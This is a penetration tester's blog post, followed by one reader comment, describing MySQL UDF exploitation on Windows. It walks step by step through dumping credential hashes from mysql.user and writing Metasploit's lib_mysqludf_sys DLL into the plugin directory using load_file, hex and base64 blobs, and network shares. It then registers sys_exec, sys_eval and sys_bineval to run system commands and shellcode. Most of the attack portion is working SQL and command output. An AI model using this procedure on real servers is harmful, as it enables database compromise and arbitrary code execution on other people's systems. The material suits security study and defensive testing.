MySQL UDF Exploitation

Overview

In the real world, while I was pentesting a financial institute I came across a scenario where they had an internal intranet and it was using MySQL 5.7 64-bit as the backend database technology. Most of the time the I encounter MSSQL in most cooperate environments, but this was a rare case. I found SQL injection in the web application and I was able to dump the username and password from the mysql.user and I realized it had privileges to write files to disk. This lead me into writing a post and sharing techniques in injecting a UDF library to MySQL and gaining code execution and popping a shell in Windows. When I Googled most techniques are a bit vague when it comes to Windows. So, I thought of writing this post with my own research to clear things and make you understand few tricks you can use to do this manually.

I will be hosting the latest MySQL 5.7.21 latest community server by the time I am blogging this, in one machine. To reproduce the scenario, I am running the mysqld server with ‘–secure-file-priv=’ parameter set to blank. In this scenario I was able to retrieve the username and password from the mysql.user table using a union based injection in the intranet. Note that in MySQL 5.7 and above the column ‘password’ doesn’t exists. They have changed it to ‘authentication_string’.

# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

Note that you can use the metasploit’s mysql_hashdump.rb auxiliary module to dump the MySQL hashes if you already have the credentials. By the time I am writing this blog post the script needed to be updated to extract in MySQL 5.7 you can check my pull request here

The host column for the user ‘osanda’ allows connections from 192.168.0.*, which means we can use this user for remote connections from that IP range. I cracked password hash and got the plain text password.

After logging into MySQL I had a look at the privileges the current user had.

select * from mysql.user where user = substring_index(user(), '@', 1) ;

The user we are logged in has all the privileges and we have privileges to read and write files, in which you can think about writing a UDF DLL library and gaining code execution on the box.

What is a UDF Library?

UDF means User Defined Functions in MySQL. It’s like coding your own functions inside a DLL and calling them inside MySQL. We are going to use the “lib_mysqludf_sys_64.dll” DLL library which can be found inside the Metasploit framework. You can use the UDF libraries based on the OS and architecture that is inside your Metasploit installation directory “/usr/share/metasploit-framework/data/exploits/mysql/”. Click here for the github link to the files.

First, we must check the architecture of MySQL running. The global variable ‘@@version_compile_os’ shows us the architecture of the MySQL instance and the ‘@@version_compile_machine’ shows us the architecture of the operating system. In this case we are running a 64-bit version of MySQL inside a 64-bit Windows OS.

MySQL [(none)]> select @@version_compile_os, @@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win64                | x86_64                    |
+----------------------+---------------------------+
MySQL [(none)]> show variables like '%compile%';
+-------------------------+--------+
| Variable_name           | Value  |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os      | Win64  |
+-------------------------+--------+

Starting from MySQL 5.0.67 the UDF library must be contained inside the plugin folder which can be found out by using the ‘@@plugin_dir’ global variable. This variable can be seen and edited inside the mysql.ini file.

MySQL [(none)]> select @@plugin_dir ;
+--------------------------------------------------------------+
| @@plugin_dir                                                 |
+--------------------------------------------------------------+
| D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+--------------------------------------------------------------+
1 row in set (0.02 sec)

MySQL [(none)]> show variables like 'plugin%';
+---------------+--------------------------------------------------------------+
| Variable_name | Value                                                        |
+---------------+--------------------------------------------------------------+
| plugin_dir    | D:\MySQL\mysql-5.7.21-winx64\mysql-5.7.21-winx64\lib\plugin\ |
+---------------+--------------------------------------------------------------+

You can change the plugin directory variable by passing the new value to the mysqld.

mysqld.exe –plugin-dir=C:\\temp\\plugins\\

Another way would be to write a new mysql configuration file with the plugin directory and pass it to mysqld.

mysqld.exe --defaults-file=C:\\temp\\my.ini

The content of the ‘my.ini’

[mysqld]
plugin_dir = C:\\temp\\plugins\\

In MySQL versions prior to 5.0.67 it’s said the file must be in a directory that is searched by your system’s dynamic linker. The same applies to MySQL versions prior to 4.1.25. Here’s the text as mentioned in the documentation.

As of MySQL 5.0.67, the file must be located in the plugin directory. This directory is given by the value of the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 5.0.67 applies: The file must be located in a directory that is searched by your system’s dynamic linker.

As of MySQL 4.1.25, the file must be located in the plugin directory. This directory is given by the value of the plugin_dir system variable. If the value of plugin_dir is empty, the behavior that is used before 4.1.25 applies: The file must be located in a directory that is searched by your system’s dynamic linker.

In older versions you can upload the DLL file to the following locations and create new UDF functions.

  • @@datadir
  • @@basedir\bin
  • C:\windows
  • C:\windows\system
  • C:\windows\system32

Uploading a Binary File

There are many possible ways you can do this. The function load_file supports network paths. If you can copy the DLL inside a network share you can directly load it and write to disk.

select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

Another method would be writing the entire DLL file into the disk in one hex encoded string.

select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

Another way would be by creating a table and inserting the binary data in a hex encoded stream. You can try writing in one insert statement or by breaking down into pieces, in which by using the update statement to contact the binary data.

create table temp(data longblob);

insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);

update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);

select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

You can also directly load the file from disk to the above created table from a network share or locally like using ‘load data infile’ statement. Convert the file to hex like I’ve show above and unhex it while writing to disk.

load data infile '\\\\192.168.0.19\\network\\udf.hex' 
into table temp fields terminated by '@OsandaMalith' 
lines terminated by '@OsandaMalith' (data);

select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

There’s good news starting from MySQL 5.6.1 and MariaDB 10.0.5. The functions ‘to_base64’ and ‘from_base64’ were introduced. If you are a guy like me who loves bypassing WAFs in SQL injection you might be already using these functions (hint: routed query injection).

select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) 
into dumpfile '/tmp/udf.b64';

You can edit the base64 file and add the following lines to dump to the plugin dir.

select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4
s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA
AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA
EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA
AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA
AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR
EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") 
into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";

After that you can pass the entire file to mysql like this.

mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64

You can also directly write the base64 encoded file from a network share or locally using the above discussed ‘load data infile’ statement and dump like this.

select from_base64(data) from temp 
into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';

Exploring the DLL

Most of the time I’ve seen people writing only about the ‘sys_exec’ function inside this DLL which is inside Metasploit. For curiosity, I thought of reversing this DLL and exploring other functions. If we check the export directory, we can see the author had written few more useful functions. I’ll show some useful functions.

sys_exec

The function will pass the argument ‘args->args[0]’ inside the ‘system’ function. You can use this to execute system commands on the target machine.

Installation

create function sys_exec returns int soname 'udf.dll';

Verification

select * from mysql.func where name = 'sys_exec';
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_exec |   2 | udf.dll | function |
+----------+-----+---------+----------+

Deletion

drop function sys_exec;

sys_eval

This function will execute system commands and display on the screen passing to stdout. As you can use this function uses the ‘_popen’ function with the ‘r’ parameter in which the calling process can read the spawned command’s standard output via the returned stream. It uses ‘fgets’ to read the pipe to a buffer and it will return us the buffer.

Installation

create function sys_eval returns string soname 'udf.dll';

Verification

select * from mysql.func where name = 'sys_eval';

Deletion

drop function sys_eval;

Example

select sys_eval('dir');

sys_get

This function uses the ‘getenv’ function to return us the value of the system variables.

Installation

create function sys_get returns string soname 'udf.dll';

Verification

select * from mysql.func where name = 'sys_get';

Deletion

Drop function sys_get;

Example

Select sys_get('longonserver');

Executing Shellcode – sys_bineval

I found a cool function inside this DLL as ‘sys_bineval’. This function will allocate RWX memory using the ‘VirtualAlloc’ API and using ‘strcpy’ the ‘args->args[0]’ will be copied into the newly allocated memory. Then this buffer is passed to the ‘CreateThread’ API to spawn a new thread.

If we have a look at the ‘CreateThread’ API we can see that the ‘lpParameter’ which is the copied buffer using the ‘strcpy’ is passed as a pointer to a variable to be passed to the thread. The function at the ‘StartAddress’ will directly move the ‘lpParamter’ and call ptr rax, that will change RIP to our shellcode.

Installation

create function sys_bineval returns int soname 'udf.dll';

Verification

select * from mysql.func where name = 'sys_bineval';

Deletion

drop function sys_bineval;

Example
However I did not get this working in 64-bit. This works fine in 32-bit platforms. You can directly open the raw binary shellcode or encode to base64 or hex encode and execute using this function.

select sys_bineval(from_base64(load_file('./calc.b64')));

I noticed that these external UDF functions do not have proper exception handling in the dissembled code. Hence, a slightest mistake while calling these functions will lead the mysqld.exe server to crash. I hope this article might be useful to you while pentesting MySQL.

References

http://ftp.nchu.edu.tw/MySQL/doc/refman/5.0/en/create-function-udf.html
http://ftp.nchu.edu.tw/MySQL/doc/refman/4.1/en/create-function-udf.html
https://docs.oracle.com/cd/E19078-01/mysql/mysql-refman-5.0/extending-mysql.html
https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-1.html
https://dev.mysql.com/doc/refman/5.7/en/udf-arguments.html
https://msdn.microsoft.com/en-us/library/aa298534(v=vs.60).aspx

Papers

Exploit-DB
Packet Storm

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3 thoughts on “MySQL UDF Exploitation

  1. Hi, I studied so much.
    And I have some question and need your help.
    My OS is windows server 2003 r2(x64), and mysql version is 5.1.38.
    When show variables like ‘plug_dir’; query is executed, result is c:/mysql_5.1.38/lib/plugin/.
    And I executed query select … into dumpfile [plugin_dir] and query was executed exactly.
    But I execute ‘create function …’ query, return error code 2 (file not found).
    What is the reason?
    How can I register sys functions?
    Regards.

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